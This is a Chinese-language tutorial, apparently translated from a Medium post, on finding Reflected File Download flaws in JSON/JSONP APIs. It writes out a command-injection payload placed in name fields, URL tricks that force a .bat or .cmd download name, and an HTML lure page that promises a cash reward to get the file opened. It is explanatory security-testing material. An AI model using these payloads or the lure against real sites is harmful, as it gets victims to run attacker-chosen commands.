编程技术文章分享与教程

网站首页 > 技术文章 正文

什么是反射型文件下载(RFD)漏洞,如何找到漏洞?

hmc789 2024-11-08 19:42:21 技术文章 1 ℃

翻译文章,原文:?Reflected File Download(RFD) Vulnerability[1]



什么是Reflected File Download(RFD)漏洞?

反射型文件下载漏洞(RFD)是一种攻击技术,通过从受信任的域(例如Google.com和Bing.com)虚拟下载文件,攻击者可以获得对受害者计算机的完全访问权限。Trustwave SpiderLabs安全研究员Oren Hafif于2014年发现了这种网络攻击技术。

检查什么地方?

JSONJSONP API是RFD的主要检查点,大多数现代Web应用程序都在使用此技术。借助Burp Suite或OWASP zap等工具,您可以找到要测试的候选对象。

例如:

https://some.website.com/api/v1.0/get_user_profile

怎么测试?

RFD测试可以分三个部分:反射, 文件名称下载

1. 反射

步骤1 :

验证JSON/JSONP API的响应,并检查是否得到了任何用户输入。

例如请求:

https://some.website.com/api/v1.0/get_user_profile

返回:

{
“data”: {
        “id”: “1239985”,
        “domain”: “website.com”,
        “ph”: “6456787984”,
        “first_name”: “DemoTest”,
        “last_name”: “LastRFD”,
        “version”: “5”,
        }
}

在示例中,您可以看到first_name,last_name和ph反射在JSON响应中。

步骤2:

现在,输入RFD有效负载 rfd"||calc|| 进入first_name和last_name字段。验证JSON / JSONP响应(如果它像 rfd"||calc|| 一样反射回来)那么就有RFD的可能性。

要完全验证它,请将响应复制并保存为filename.bat。使用cmd提示打开它,可以看到窗口calc弹出了。

例如返回:

{
“data”: {
        “id”: “1239985”,
        “domain”: “website.com”,
        “ph”: “6456787984”,
        “first_name”: “rfd\”||calc||”,
        “last_name”: “rfd\”||calc||”,
        “version”: “5”,
        }
}

因此,反射得到确认。我们需要利用它

2. 文件名称

具有挑战性的部分。如果我们在IE 11中命中JSON / JSONP API URL,我们可以看到响应将以somefileName.json的形式下载。文件名主要取决于http Content-Disposition标头和URL。

要利用此漏洞,我们应该能够将文件格式更改为.cmd,.bat或.exe才能执行。怎么样实现呢?

例如:Content-Disposition: userprofile.json

文件将以Content-Disposition标头中提到的相同名称下载。因此,我们无法利用它。我们需要转到下一个可能性,例如没有Content-Disposition标头的响应。

如果Content-Disposition响应标头中没有返回文件名属性,浏览器将被迫根据URL确定下载文件的名称。

例如:https://some.website.com/api/v1.0/get_user_profile

get_user_profile.json

我们可以使用以下有效负载来绕过此文件名:

get_user_profile.bat

get_user_profile;setup.bat

get_user_profile/setup.bat

get_user_profile;/setup.bat

get_user_profile;/setup.bat;

3. 下载

HTML 模板:

<! DOCTYPE html>
<html>
<body>
<p>Click the Image and open the file: You will be rewarded with $800<p><a href=”https://some.website.com/api/v1.0/get_user_profile/setup.cmd?" download><img border=”0" src=”https://some.website.com/api/v1.0/get_user_profile/setup.cmd?" alt=”8000 Dollars” width=”104" height=”142"></a>
</body>
</html>

打开html页面,单击链接,文件将下载为setup.cmd。

如何修复这个漏洞?

?使用 “ Content-Disposition ”标题强制文件名。

?使用CSRF令牌

?为所有API实施安全标头

引用:

https://www.trustwave.com/Resources/SpiderLabs-Blog/Reflected-File-Download---A-New-Web-Attack-Vector/

References

[1] Reflected File Download(RFD) Vulnerability: https://medium.com/@Johne_Jacob/rfd-reflected-file-download-what-how-6d0e6fdbe331

标签列表
最新留言